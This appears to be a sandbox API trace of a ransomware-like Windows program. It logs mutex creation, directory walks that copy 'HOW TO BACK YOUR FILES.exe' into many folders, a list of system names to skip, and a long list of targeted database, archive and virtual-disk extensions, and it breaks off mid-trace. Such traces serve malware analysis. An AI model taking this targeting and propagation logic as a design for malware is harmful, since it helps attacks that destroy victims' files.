[0046.389] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0046.389] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0046.389] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0046.389] lstrlenW (lpString="Microsoft") returned 9 [0046.389] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0046.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9b8 [0046.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d480 [0046.389] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0046.389] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0046.389] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0046.392] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0046.392] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0046.392] ReleaseMutex (hMutex=0xec) returned 1 [0046.392] CloseHandle (hObject=0xec) returned 1 [0046.392] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Uninstall Information" | out: lpString1="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0046.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51aff0 | out: hHeap=0x4f0000) returned 1 [0046.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d9d0 | out: hHeap=0x4f0000) returned 1 [0046.392] lstrlenW (lpString="C:\\Program Files (x86)\\Uninstall Information") returned 44 [0046.392] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D7E2D9224184BBACBD160C5DF84C9C32") returned 0xec [0046.392] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0046.392] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Uninstall Information" | out: lpString1="C:\\Program Files (x86)\\Uninstall Information") returned="C:\\Program Files (x86)\\Uninstall Information" [0046.393] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0046.393] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Uninstall Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\uninstall information\\how to back your files.exe"), bFailIfExists=1) returned 0 [0046.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Uninstall Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\uninstall information\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0046.393] GetLastError () returned 0x0 [0046.393] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0046.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0046.393] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0046.394] CloseHandle (hObject=0xf4) returned 1 [0046.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.394] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0046.394] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0046.394] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.394] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.394] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.394] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.395] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.395] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.395] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.395] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.395] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc54a820, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0046.395] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0046.395] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc54a820, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0046.395] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0046.395] ReleaseMutex (hMutex=0xec) returned 1 [0046.395] CloseHandle (hObject=0xec) returned 1 [0046.395] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Defender" | out: lpString1="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender" [0046.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515ef8 | out: hHeap=0x4f0000) returned 1 [0046.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d9e8 | out: hHeap=0x4f0000) returned 1 [0046.395] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Defender") returned 39 [0046.395] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EE5D2AAED6B996ED3D43E3B1CC81358A") returned 0xec [0046.395] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0046.395] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Defender" | out: lpString1="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender" [0046.395] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0046.395] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0 [0046.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows defender\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0046.396] GetLastError () returned 0x0 [0046.396] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0046.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0046.396] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0046.399] CloseHandle (hObject=0xf4) returned 1 [0046.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.400] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0046.400] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc570980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0046.400] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.400] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.400] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.400] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc570980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.400] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.400] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.400] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.400] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.400] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0046.400] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0046.401] lstrlenW (lpString="en-US") returned 5 [0046.401] lstrcpyW (in: lpString1=0x241e898, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0046.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9e8 [0046.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51aff0 [0046.401] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0046.401] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0046.401] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0046.404] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc570980, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0046.404] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0046.404] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcc1c145, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdcc1c145, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="windows") returned -1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="bootmgr") returned 1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="temp") returned -1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="pagefile.sys") returned -1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="boot") returned 1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ids.txt") returned 1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ntuser.dat") returned -1 [0046.404] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="perflogs") returned -1 [0046.405] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="MSBuild") returned -1 [0046.405] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0046.405] lstrcpyW (in: lpString1=0x241e898, lpString2="MpAsDesc.dll" | out: lpString1="MpAsDesc.dll") returned="MpAsDesc.dll" [0046.405] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0046.405] lstrlenW (lpString="Athena865") returned 9 [0046.405] lstrcmpiW (lpString1="sDesc.dll", lpString2="Athena865") returned 1 [0046.405] lstrlenW (lpString=".dll") returned 4 [0046.405] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".dll") returned 1 [0046.405] lstrlenW (lpString=".lnk") returned 4 [0046.405] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".lnk") returned 1 [0046.405] lstrlenW (lpString=".ini") returned 4 [0046.405] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".ini") returned 1 [0046.405] lstrlenW (lpString=".sys") returned 4 [0046.405] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".sys") returned 1 [0046.405] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0046.405] lstrlenW (lpString="bak") returned 3 [0046.405] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0046.405] lstrlenW (lpString="ba_") returned 3 [0046.405] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0046.405] lstrlenW (lpString="dbb") returned 3 [0046.405] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0046.405] lstrlenW (lpString="vmdk") returned 4 [0046.405] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0046.405] lstrlenW (lpString="rar") returned 3 [0046.405] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0046.405] lstrlenW (lpString="zip") returned 3 [0046.405] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0046.405] lstrlenW (lpString="tgz") returned 3 [0046.405] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0046.405] lstrlenW (lpString="vbox") returned 4 [0046.405] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0046.405] lstrlenW (lpString="vdi") returned 3 [0046.405] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0046.405] lstrlenW (lpString="vhd") returned 3 [0046.405] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0046.405] lstrlenW (lpString="vhdx") returned 4 [0046.405] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0046.406] lstrlenW (lpString="avhd") returned 4 [0046.406] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0046.406] lstrlenW (lpString="db") returned 2 [0046.406] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0046.406] lstrlenW (lpString="db2") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0046.406] lstrlenW (lpString="db3") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0046.406] lstrlenW (lpString="dbf") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0046.406] lstrlenW (lpString="mdf") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0046.406] lstrlenW (lpString="mdb") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0046.406] lstrlenW (lpString="sql") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0046.406] lstrlenW (lpString="sqlite") returned 6 [0046.406] lstrcmpiW (lpString1="sc.dll", lpString2="sqlite") returned -1 [0046.406] lstrlenW (lpString="sqlite3") returned 7 [0046.406] lstrcmpiW (lpString1="esc.dll", lpString2="sqlite3") returned -1 [0046.406] lstrlenW (lpString="sqlitedb") returned 8 [0046.406] lstrcmpiW (lpString1="Desc.dll", lpString2="sqlitedb") returned -1 [0046.406] lstrlenW (lpString="xml") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0046.406] lstrlenW (lpString="$er") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0046.406] lstrlenW (lpString="4dd") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0046.406] lstrlenW (lpString="4dl") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0046.406] lstrlenW (lpString="^^^") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0046.406] lstrlenW (lpString="abs") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0046.406] lstrlenW (lpString="abx") returned 3 [0046.406] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0046.406] lstrlenW (lpString="accdb") returned 5 [0046.407] lstrcmpiW (lpString1="c.dll", lpString2="accdb") returned 1 [0046.407] lstrlenW (lpString="accdc") returned 5 [0046.407] lstrcmpiW (lpString1="c.dll", lpString2="accdc") returned 1 [0046.407] lstrlenW (lpString="accde") returned 5 [0046.407] lstrcmpiW (lpString1="c.dll", lpString2="accde") returned 1 [0046.407] lstrlenW (lpString="accdr") returned 5 [0046.407] lstrcmpiW (lpString1="c.dll", lpString2="accdr") returned 1 [0046.407] lstrlenW (lpString="accdt") returned 5 [0046.407] lstrcmpiW (lpString1="c.dll", lpString2="accdt") returned 1 [0046.407] lstrlenW (lpString="accdw") returned 5 [0046.407] lstrcmpiW (lpString1="c.dll", lpString2="accdw") returned 1 [0046.407] lstrlenW (lpString="accft") returned 5 [0046.407] lstrcmpiW (lpString1="c.dll", lpString2="accft") returned 1 [0046.407] lstrlenW (lpString="adb") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.407] lstrlenW (lpString="adb") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.407] lstrlenW (lpString="ade") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0046.407] lstrlenW (lpString="adf") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0046.407] lstrlenW (lpString="adn") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0046.407] lstrlenW (lpString="adp") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0046.407] lstrlenW (lpString="alf") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0046.407] lstrlenW (lpString="ask") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0046.407] lstrlenW (lpString="btr") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0046.407] lstrlenW (lpString="cat") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0046.407] lstrlenW (lpString="cdb") returned 3 [0046.407] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0046.407] lstrlenW (lpString="ckp") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0046.408] lstrlenW (lpString="cma") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0046.408] lstrlenW (lpString="cpd") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0046.408] lstrlenW (lpString="dacpac") returned 6 [0046.408] lstrcmpiW (lpString1="sc.dll", lpString2="dacpac") returned 1 [0046.408] lstrlenW (lpString="dad") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0046.408] lstrlenW (lpString="dadiagrams") returned 10 [0046.408] lstrcmpiW (lpString1="AsDesc.dll", lpString2="dadiagrams") returned -1 [0046.408] lstrlenW (lpString="daschema") returned 8 [0046.408] lstrcmpiW (lpString1="Desc.dll", lpString2="daschema") returned 1 [0046.408] lstrlenW (lpString="db-journal") returned 10 [0046.408] lstrcmpiW (lpString1="AsDesc.dll", lpString2="db-journal") returned -1 [0046.408] lstrlenW (lpString="db-shm") returned 6 [0046.408] lstrcmpiW (lpString1="sc.dll", lpString2="db-shm") returned 1 [0046.408] lstrlenW (lpString="db-wal") returned 6 [0046.408] lstrcmpiW (lpString1="sc.dll", lpString2="db-wal") returned 1 [0046.408] lstrlenW (lpString="dbc") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0046.408] lstrlenW (lpString="dbs") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0046.408] lstrlenW (lpString="dbt") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0046.408] lstrlenW (lpString="dbv") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0046.408] lstrlenW (lpString="dbx") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0046.408] lstrlenW (lpString="dcb") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0046.408] lstrlenW (lpString="dct") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0046.408] lstrlenW (lpString="dcx") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0046.408] lstrlenW (lpString="ddl") returned 3 [0046.408] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0046.409] lstrlenW (lpString="dlis") returned 4 [0046.409] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0046.409] lstrlenW (lpString="dp1") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0046.409] lstrlenW (lpString="dqy") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0046.409] lstrlenW (lpString="dsk") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0046.409] lstrlenW (lpString="dsn") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0046.409] lstrlenW (lpString="dtsx") returned 4 [0046.409] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0046.409] lstrlenW (lpString="dxl") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0046.409] lstrlenW (lpString="eco") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0046.409] lstrlenW (lpString="ecx") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0046.409] lstrlenW (lpString="edb") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0046.409] lstrlenW (lpString="epim") returned 4 [0046.409] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0046.409] lstrlenW (lpString="fcd") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0046.409] lstrlenW (lpString="fdb") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0046.409] lstrlenW (lpString="fic") returned 3 [0046.409] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0046.409] 